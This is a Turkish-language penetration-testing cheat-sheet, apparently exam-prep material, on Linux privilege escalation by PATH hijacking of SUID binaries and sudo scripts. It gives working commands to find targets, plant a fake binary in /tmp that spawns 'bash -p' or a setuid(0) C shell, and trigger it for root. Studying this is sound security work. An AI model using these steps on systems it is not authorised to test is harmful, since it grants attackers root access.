FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

PATH Hijacking — Root Script Calls Binary by Relative Name

Root tarafindan calistirilan bir SUID binary veya sudo betigi, bir komutu mutlak yol yerine goreli isimle (orn. 'cat', 'service') cagiriyorsa; saldirgan kontrol ettigi bir dizini PATH'in basina ekleyip ayni isimde sahte bir binary birakarak root yetkisiyle kod calistirir.

Bilgi: ÖN KOŞULLAR
  • Dusuk yetkili shell (user)
  • Root olarak calisan ve goreli komut cagiran bir SUID binary veya sudo izinli betik
  • Yazilabilir bir dizin ve PATH'i degistirebilme imkani
┌──

Komutlar

strings ✓ EXAM-SAFE user
strings /usr/local/bin/{{USER}}_helper
SUID/root binary'sinin icinde goreli cagrilan komut isimlerini (cat, ps, service, id vb.) ara — mutlak yol yoksa hijack adayidir. HackTricks — Linux Privilege Escalation (PATH)
bash ✓ EXAM-SAFE user
export PATH=/tmp:$PATH
Kontrol edilen yazilabilir dizini PATH'in basina ekle; goreli komut cagrildiginda once buradaki sahte binary bulunur. HackTricks — Linux Privilege Escalation (PATH)
bash ✓ EXAM-SAFE user
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service && chmod +x /tmp/service
Hedef binary'nin goreli cagirdigi komut adiyla (orn. 'service') sahte bir script olustur; -p ile root EUID korunur. HackTricks — Linux Privilege Escalation (PATH)
bash ✓ EXAM-SAFE user
echo 'int main(){ setuid(0); setgid(0); system("/bin/bash -p"); return 0; }' > /tmp/cat.c && gcc /tmp/cat.c -o /tmp/cat
Goreli cagrilan komut icin C tabanli sahte binary derle — setuid(0) ile gercek root'a yukselir, script yerine compiled binary gereken SUID senaryolari icin. HackTricks — Linux Privilege Escalation (PATH)
sudo ✓ EXAM-SAFE user
sudo PATH=/tmp:$PATH /usr/local/bin/{{USER}}_helper
Sudo kurali env_keep ile PATH'i koruyorsa, sahte dizini PATH'in basinda tutarak betigi root olarak calistir. HackTricks — Linux Privilege Escalation (PATH / sudo)
find ✓ EXAM-SAFE user
find / -perm -4000 -type f 2>/dev/null
Tum SUID binary'leri listele — ozel/yerel SUID binary'ler goreli komut cagirma acisindan incelenir. HackTricks — Linux Privilege Escalation (SUID)
sudo ✓ EXAM-SAFE user
sudo -l
Sudo izinlerini ve env_reset/secure_path ayarlarini gor — secure_path varsa PATH hijack sudo yolunda calismaz. HackTricks — Linux Privilege Escalation (sudo)

Mantik

PATH hijacking, root yetkisiyle calisan bir programin (SUID binary ya da sudo ile calistirilan bir betik) bir alt komutu mutlak yol yerine goreli isimle cagirmasina dayanir. Ornegin program icinde system("service apache2 start") veya system("cat /etc/...") gibi bir cagri varsa, kabuk komutu $PATH icinde sirayla arar. Saldirgan, yazilabilir bir dizini PATH’in basina koyup ayni isimde sahte bir binary birakirsa, kendi kodu root olarak calisir.

Enumeration

Ilk adim, root olarak calisan ve goreli komut cagiran bir hedef bulmaktir:

  • find / -perm -4000 -type f 2>/dev/null ile ozel SUID binary’leri tespit et. Sistem disi / yerel (orn. /usr/local/bin, /opt) binary’ler oncelikli adaylardir.
  • strings ile binary icinde komut isimlerini ara. cat, ps, id, service, cp, chmod gibi isimler slash icermeden geciyorsa goreli cagri ihtimali yuksektir.
  • Yetkili betikler icin sudo -l ciktisini incele. (root) NOPASSWD: /path/script.sh gibi bir kayit ve betigin icinde goreli komut cagrisi PATH hijack’a acik olabilir.

Exploitation

Temel akis: kontrol edilen dizini PATH’in basina al, hedefin cagirdigi komut adiyla bir payload birak, sonra hedefi tetikle.

  • Sahte komut bir script olabilir (#!/bin/bash + /bin/bash -p). Burada -p kritik: bash, EUID ile gercek UID farkliysa normalde yetkileri dusurur; -p bunu engeller ve root shell verir.
  • SUID binary bash shell yerine dogrudan execvp ile compiled bir binary cagiriyorsa veya script’in -p ile bile yetkisi dususuyorsa, setuid(0); setgid(0); system("/bin/bash") iceren bir C binary derlemek daha guvenilirdir.
  • Tetikleme: SUID binary icin dogrudan binary’yi calistir; sudo betigi icin sudo /path/script.sh ile cagir.

Sudo Yolu ve Gotcha’lar

  • sudo cogu dagitimda secure_path kullanir; bu durumda sudo, kendi sabit PATH’ini dayatir ve env’den gelen PATH yok sayilir — bu durumda sudo uzerinden PATH hijack calismaz. sudo -l ciktisindaki env_reset ve secure_path satirlarini kontrol et.
  • Eger sudoers’ta Defaults env_keep += "PATH" veya betige SETENV: etiketi varsa, sudo PATH=/tmp:$PATH ... ile PATH korunur ve hijack mumkun olur.
  • SUID binary’lerde secure_path yoktur; sinirlama sadece bash’in privilege drop davranisidir — bunu -p veya C setuid(0) ile asariz.
  • Payload dizini olarak /tmp pratiktir ama betigin calistigi cwd’yi de degerlendir. Bazen ./ PATH’te varsa (cok nadir) cwd’ye payload birakmak yeterlidir.
  • Isi bitince /tmp icindeki sahte binary’leri temizle ve PATH’i eski haline dondur (cleanup).
┌──

Kaynaklar

0/15 set